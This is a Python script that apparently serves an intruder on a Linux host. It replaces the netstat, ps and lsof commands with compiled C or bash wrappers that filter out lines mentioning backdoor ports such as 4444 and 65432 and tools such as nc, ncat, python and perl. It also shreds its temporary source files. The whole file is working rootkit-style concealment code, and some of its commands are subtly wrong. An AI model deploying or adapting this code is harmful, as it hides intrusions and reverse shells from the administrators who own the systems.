import subprocess


def main():
    """
    Attempt to replace netstat, ps, and lsof with doctored binaries that
    hide information from the user. If GCC isn't available, replace them with doctored shell scripts
    """

    if subprocess.check_output("which gcc"):
        print("[+] GCC installed!")
        print("[+] Replacing netstat binary")
        fixed_netstat = """
touch /tmp/.netstat.c
cat <<EOF >> /tmp/.netstat.c
int main(int a,char**b){
char*c[999999]={"sh","-c","/bin/netstat \$*|grep -Ev '443|2222|4444|65432|dbd|ncat|nc|python|python3|/usr/bin/python|perl'"};
memcpy(c+3,b,8*a);
execv("/bin/sh",c);
}
EOF
gcc -xc /tmp/.netstat.c -o /usr/local/bin/netstat
shred -uz /tmp/.netstat.c || rm /tmp/.netstat.c
        """
        subprocess.run(fixed_netstat, shell=True)
        print("Netstat replaced with fixed binary")

        print("[+] Replacing ps binary")
        fixed_ps = """
touch /tmp/.ps.c
cat <<EOF >> /tmp/.ps.c
int main(int a,char**b){
char*c[999999]={"sh","-c","/bin/ps \$*|grep -Ev '443|2222|4444|65432|dbd|ncat|nc|python|python3|/usr/bin/python|perl'"};
memcpy(c+3,b,8*a);
execv("/bin/sh",c);
}
EOF
gcc -xc /tmp/.ps.c -o /usr/local/bin/ps
shred -uz /tmp/.ps.c || rm /tmp/.ps.c
    """
        subprocess.run(fixed_ps, shell=True)
        print("ps replaced with fixed binary")

        print("[] Replacing lsof binary")
        fixed_lsof = """
touch /tmp/.lsof.c

cat <<EOF >> /tmp/.lsof.c
int main(int a,char**b){
char*c[999999]={"sh","-c","/usr/bin/lsof \$*|grep -Ev '443|2222|4444|65432|dbd|ncat|nc|python|python3|/usr/bin/python|perl'"};
memcpy(c+3,b,8*a);
execv("/bin/sh",c);
}
EOF
gcc -xc /tmp/.lsof.c -o /usr/local/bin/lsof
shred -uz /tmp/.lsof.c || rm /tmp/.lsof.c
    """
        subprocess.run(fixed_lsof, shell=True)
        print("lsof replaced with fixed binary")

    else:

        # If gcc isn't installed, replace binaries with shell scripts
        print("GCC not installed, replacing binaries with shell scripts")

        # Hide tcp data from netstat
        print("Verifying that TCP data is invisible to netstat")
        fixed_netstat = """
touch /usr/local/bin/netstat
cat <<EOF >> /usr/local/bin/netstat
#!/bin/bash
/bin/netstat \$@ | grep -Ev '443|2222|4444|65432|dbd|ncat|nc|python|python3|/usr/bin/python|perl'
EOF
chmod +x /usr/local/bin/netstat
    """
        subprocess.run(fixed_netstat, shell=True)
        print("netstat replaced with shell script")

        # Hide tcp data from ps
        print("Verifying that TCP data is invisible to ps")
        fixed_ps = """
touch /usr/local/bin/ps
cat <<EOF >> /usr/local/bin/ps
#!/bin/bash
/bin/ps \$@ | grep -Ev '443|2222|4444|65432|dbd|ncat|nc|python|python3|/usr/bin/python|perl'
EOF
chmod +x /usr/bin/ps
    """
        subprocess.run(fixed_ps, shell=True)
        print("ps replaced with shell script")

        # Hide tcp data from lsof
        print("Verifying that TCP data is invisible to lsof")
        fixed_lsof = """
touch /usr/local/bin/lsof
cat <<EOF >> /usr/local/bin/lsof
#!/bin/bash
/usr/bin/lsof \$@ | grep -Ev '443|2222|4444|65432|dbd|ncat|nc|python|python3|/usr/bin/python|perl'
EOF
chmod +x /usr/bin/lsof
    """
        subprocess.run(fixed_lsof, shell=True)
        print("lsof replaced with shell script")

        with open(".info", "w+") as f:
            f.write("NETSTAT : true\nps : true\nlsof : trueS")


main()
